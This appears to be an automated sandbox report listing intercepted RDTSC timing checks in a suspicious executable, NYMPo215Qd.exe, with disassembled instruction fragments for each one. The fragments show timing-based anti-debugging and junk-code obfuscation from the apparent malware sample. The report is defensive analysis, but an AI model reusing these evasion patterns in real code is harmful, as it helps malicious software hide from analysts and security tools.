Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: E8CB97 second address: E8CC01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 xor dword ptr [esp], 4EBB6424h 0x0000000e push 00000000h 0x00000010 push eax 0x00000011 call 00007F9F38C02228h 0x00000016 pop eax 0x00000017 mov dword ptr [esp+04h], eax 0x0000001b add dword ptr [esp+04h], 00000018h 0x00000023 inc eax 0x00000024 push eax 0x00000025 ret 0x00000026 pop eax 0x00000027 ret 0x00000028 jmp 00007F9F38C0222Fh 0x0000002d lea ebx, dword ptr [ebp+12458971h] 0x00000033 mov dword ptr [ebp+122D17F3h], eax 0x00000039 and ecx, dword ptr [ebp+122D28E1h] 0x0000003f push eax 0x00000040 pushad 0x00000041 push eax 0x00000042 jmp 00007F9F38C02233h 0x00000047 pop eax 0x00000048 push eax 0x00000049 push edx 0x0000004a push eax 0x0000004b push edx 0x0000004c rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: E8CC01 second address: E8CC05 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: E8CCD1 second address: E8CD72 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9F38C0222Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xor dword ptr [esp], 1AD47D42h 0x00000010 push 00000000h 0x00000012 push edi 0x00000013 call 00007F9F38C02228h 0x00000018 pop edi 0x00000019 mov dword ptr [esp+04h], edi 0x0000001d add dword ptr [esp+04h], 00000015h 0x00000025 inc edi 0x00000026 push edi 0x00000027 ret 0x00000028 pop edi 0x00000029 ret 0x0000002a push 00000003h 0x0000002c sub dword ptr [ebp+122D17FFh], esi 0x00000032 movzx esi, si 0x00000035 push 00000000h 0x00000037 push 00000000h 0x00000039 push ecx 0x0000003a call 00007F9F38C02228h 0x0000003f pop ecx 0x00000040 mov dword ptr [esp+04h], ecx 0x00000044 add dword ptr [esp+04h], 00000016h 0x0000004c inc ecx 0x0000004d push ecx 0x0000004e ret 0x0000004f pop ecx 0x00000050 ret 0x00000051 mov ecx, eax 0x00000053 mov edi, eax 0x00000055 jng 00007F9F38C0222Ch 0x0000005b and edx, 031B7BDCh 0x00000061 push 00000003h 0x00000063 mov dword ptr [ebp+122D3213h], eax 0x00000069 call 00007F9F38C02229h 0x0000006e jc 00007F9F38C0224Bh 0x00000074 push eax 0x00000075 push edx 0x00000076 jmp 00007F9F38C02239h 0x0000007b rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: E8CD72 second address: E8CD8C instructions: 0x00000000 rdtsc 0x00000002 jng 00007F9F38C153F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F9F38C153FCh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: E8CD8C second address: E8CDA0 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a popad 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: E8CDA0 second address: E8CDAB instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: E8CDAB second address: E8CDCD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 mov eax, dword ptr [eax] 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F9F38C02236h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: E8CDCD second address: E8CDD3 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: E8CDD3 second address: E8CDFB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9F38C02236h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp+04h], eax 0x0000000d je 00007F9F38C02234h 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: E8CDFB second address: E8CDFF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: E8CDFF second address: E8CE1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 lea ebx, dword ptr [ebp+1245897Ah] 0x0000000d mov edx, 498573A4h 0x00000012 xchg eax, ebx 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 jne 00007F9F38C02226h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: E8CE1B second address: E8CE39 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F9F38C15401h 0x0000000b popad 0x0000000c push eax 0x0000000d push ebx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: E8CE8C second address: E8CE97 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push ebx 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: E8CE97 second address: E8CE9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: E8CE9D second address: E8CEC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ebx 0x00000006 nop 0x00000007 sub dword ptr [ebp+122D3213h], eax 0x0000000d mov dx, 78C3h 0x00000011 push 00000000h 0x00000013 add dword ptr [ebp+122D2E8Dh], ebx 0x00000019 call 00007F9F38C02229h 0x0000001e push eax 0x0000001f push edx 0x00000020 pushad 0x00000021 pushad 0x00000022 popad 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: E8CEC6 second address: E8CECB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: E8CECB second address: E8CEDF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 push edx 0x00000006 pop edx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e jo 00007F9F38C02226h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: E8CEDF second address: E8CEE3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: E8CEE3 second address: E8CEED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edi 0x00000009 pop edi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: E8CEED second address: E8CF06 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b pushad 0x0000000c jmp 00007F9F38C153FAh 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: E8CF06 second address: E8CF27 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 popad 0x00000006 mov eax, dword ptr [eax] 0x00000008 push ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F9F38C02236h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: E8CFFC second address: E8D001 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: E8D001 second address: E8D016 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9F38C02231h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: EA0459 second address: EA045D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: EAF5BF second address: EAF5DB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9F38C02238h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: EAF5DB second address: EAF5EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push esi 0x00000009 pop esi 0x0000000a jns 00007F9F38C153F6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: EAF5EB second address: EAF5F7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jl 00007F9F38C02226h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: E83762 second address: E83766 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: E83766 second address: E8376A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: E8376A second address: E83789 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F9F38C15407h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: E83789 second address: E8378F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: E8378F second address: E83799 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F9F38C153F6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: EAD548 second address: EAD552 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F9F38C0222Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: EAD552 second address: EAD559 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: EAD68D second address: EAD691 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: EAD691 second address: EAD69B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: EAD69B second address: EAD6BC instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jp 00007F9F38C02226h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f pushad 0x00000010 popad 0x00000011 jmp 00007F9F38C0222Ch 0x00000016 popad 0x00000017 pushad 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: EAD85A second address: EAD860 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: EAD860 second address: EAD864 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: EAD864 second address: EAD88D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F9F38C153FBh 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jl 00007F9F38C153FCh 0x00000015 jl 00007F9F38C153F6h 0x0000001b jp 00007F9F38C15402h 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: EAD88D second address: EAD897 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F9F38C02226h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: EADA24 second address: EADA37 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9F38C153FFh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: EADE71 second address: EADE96 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F9F38C02226h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jo 00007F9F38C02226h 0x00000013 jmp 00007F9F38C02232h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: EADE96 second address: EADEA4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9F38C153FAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: EADEA4 second address: EADEC3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9F38C02239h 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: EAEF71 second address: EAEF8B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007F9F38C153F6h 0x0000000a jmp 00007F9F38C15400h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: EAEF8B second address: EAEFA1 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jc 00007F9F38C0222Eh 0x00000012 pushad 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: EAEFA1 second address: EAEFA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: E77CF7 second address: E77CFB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: EB5F79 second address: EB5F83 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007F9F38C153F6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: EB6404 second address: EB640A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: EB5553 second address: EB5571 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9F38C153FFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jl 00007F9F38C15404h 0x00000010 push eax 0x00000011 push edx 0x00000012 push esi 0x00000013 pop esi 0x00000014 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: EB91DD second address: EB91F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F9F38C02226h 0x0000000a je 00007F9F38C02226h 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: EB91F4 second address: EB91FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: EB91FA second address: EB91FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: EB9339 second address: EB9357 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F9F38C15403h 0x0000000a popad 0x0000000b push ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: EB9357 second address: EB935B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: EB9664 second address: EB9676 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9F38C153FCh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: EB9676 second address: EB9687 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop esi 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b jbe 00007F9F38C02226h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: EB9687 second address: EB968D instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: EB968D second address: EB96B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jl 00007F9F38C02236h 0x0000000c jmp 00007F9F38C02230h 0x00000011 pushad 0x00000012 push ecx 0x00000013 pop ecx 0x00000014 push ecx 0x00000015 pop ecx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: EB99BD second address: EB99C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: EB99C1 second address: EB99DB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9F38C02232h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: EB99DB second address: EB99DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: EB99DF second address: EB99F3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9F38C02230h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: EB9B5D second address: EB9B7C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9F38C15409h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: EB9B7C second address: EB9B80 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: EB9B80 second address: EB9BB2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 pushad 0x0000000a push eax 0x0000000b pop eax 0x0000000c jmp 00007F9F38C15403h 0x00000011 jno 00007F9F38C153F6h 0x00000017 popad 0x00000018 pushad 0x00000019 push esi 0x0000001a pop esi 0x0000001b pushad 0x0000001c popad 0x0000001d pushad 0x0000001e popad 0x0000001f popad 0x00000020 push eax 0x00000021 push edx 0x00000022 push esi 0x00000023 pop esi 0x00000024 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: E745B4 second address: E745CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9F38C02235h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: E745CD second address: E745FA instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 jc 00007F9F38C1542Eh 0x0000000d push eax 0x0000000e push edx 0x0000000f jl 00007F9F38C153F6h 0x00000015 jmp 00007F9F38C15408h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: E745FA second address: E74604 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: E74604 second address: E7460A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: EBD0CD second address: EBD127 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9F38C0222Eh 0x00000009 popad 0x0000000a popad 0x0000000b xor dword ptr [esp], 3EEF5AC2h 0x00000012 push 00000000h 0x00000014 push edi 0x00000015 call 00007F9F38C02228h 0x0000001a pop edi 0x0000001b mov dword ptr [esp+04h], edi 0x0000001f add dword ptr [esp+04h], 00000017h 0x00000027 inc edi 0x00000028 push edi 0x00000029 ret 0x0000002a pop edi 0x0000002b ret 0x0000002c movsx esi, dx 0x0000002f jc 00007F9F38C0222Ch 0x00000035 mov esi, dword ptr [ebp+122D2B11h] 0x0000003b push C04136ECh 0x00000040 pushad 0x00000041 push ebx 0x00000042 jno 00007F9F38C02226h 0x00000048 pop ebx 0x00000049 pushad 0x0000004a push eax 0x0000004b push edx 0x0000004c rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: EBD127 second address: EBD12D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: EBDF42 second address: EBDF46 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: EBE08A second address: EBE08E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: EBE221 second address: EBE226 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: EBE76B second address: EBE76F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: EBE76F second address: EBE7DC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push eax 0x00000008 jne 00007F9F38C0222Eh 0x0000000e nop 0x0000000f pushad 0x00000010 and bh, 00000009h 0x00000013 mov dword ptr [ebp+122DB336h], ecx 0x00000019 popad 0x0000001a push 00000000h 0x0000001c push 00000000h 0x0000001e push ebp 0x0000001f call 00007F9F38C02228h 0x00000024 pop ebp 0x00000025 mov dword ptr [esp+04h], ebp 0x00000029 add dword ptr [esp+04h], 0000001Bh 0x00000031 inc ebp 0x00000032 push ebp 0x00000033 ret 0x00000034 pop ebp 0x00000035 ret 0x00000036 mov esi, 0A1F8115h 0x0000003b mov dword ptr [ebp+122D1B3Eh], ecx 0x00000041 push 00000000h 0x00000043 xchg eax, ebx 0x00000044 push ebx 0x00000045 jmp 00007F9F38C0222Fh 0x0000004a pop ebx 0x0000004b push eax 0x0000004c pushad 0x0000004d pushad 0x0000004e push edx 0x0000004f pop edx 0x00000050 push eax 0x00000051 push edx 0x00000052 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: EBE7DC second address: EBE7E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: EBF18D second address: EBF197 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F9F38C02226h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: EC183C second address: EC1842 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
